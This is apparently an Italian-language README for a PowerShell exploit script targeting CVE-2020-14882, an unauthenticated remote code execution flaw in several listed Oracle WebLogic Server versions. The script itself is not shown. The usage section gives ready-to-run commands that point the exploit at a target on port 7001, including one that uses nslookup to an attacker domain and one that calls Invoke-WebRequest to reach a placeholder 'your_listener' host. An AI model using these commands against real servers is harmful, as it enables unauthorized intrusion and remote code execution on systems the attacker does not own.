Exploit RCE non autenticato Oracle WebLogic

Questo script PowerShell sfrutta CVE-2020-14882 per ottenere l'esecuzione di codice in remoto non autenticata sulle versioni di Oracle WebLogic Server:

• 10.3.6.0.0
• 12.1.3.0.0
• 12.2.1.3.0
• 12.2.1.4.0
• 14.1.1.0.0

Utilizzo

.\exploit.ps1 -target 'http(s)://target:7001' -command 'your_command'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'nslookup your_Domain'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'powershell.exe -c Invoke-WebRequest -Uri http://your_listener'

Riferimenti

Exploit su ExploitDB